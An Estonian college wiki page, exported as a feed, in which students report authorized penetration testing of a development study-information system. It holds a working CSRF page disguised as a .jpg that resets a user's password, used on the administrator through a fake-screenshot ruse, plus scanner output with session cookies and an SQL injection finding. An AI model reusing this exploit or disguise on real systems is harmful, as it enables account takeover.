Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
:Alo Konno A21&lt;br /&gt;
:Urmo Lihten A21&lt;br /&gt;
:Taavi Podžuks A22&lt;br /&gt;
:Matis Alliksoo A22&lt;br /&gt;
:Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Täname oma juhendajaid:&lt;br /&gt;
:Mart Mangus&lt;br /&gt;
:Margus Ernits&lt;br /&gt;
:Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47070</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47070"/>
		<updated>2012-03-30T21:03:34Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Juhendajad */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
==== Acunetix Web Vulnerability Scanner v. 8 automaatskännimise tööriistaga tutvumine ====&lt;br /&gt;
 http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
 http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
 http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
 http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
 http://www.isecom.org/research.html&lt;br /&gt;
 http://evuln.com/tools/&lt;br /&gt;
 http://sectools.org/tag/web-scanners/&lt;br /&gt;
 http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
 http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.&lt;br /&gt;
&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
 Cross-Site Scripting (XSS)&lt;br /&gt;
 SQL Injection (blind test)&lt;br /&gt;
 File inclusion&lt;br /&gt;
 Code Execution&lt;br /&gt;
 LDAP Injection&lt;br /&gt;
 Cross Frame Scripting&lt;br /&gt;
 SQL Injection (error msg. test)&lt;br /&gt;
 CRLF Injection&lt;br /&gt;
 Directory Travelsal&lt;br /&gt;
 XPath Injection&lt;br /&gt;
 URL Redirection&lt;br /&gt;
 Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
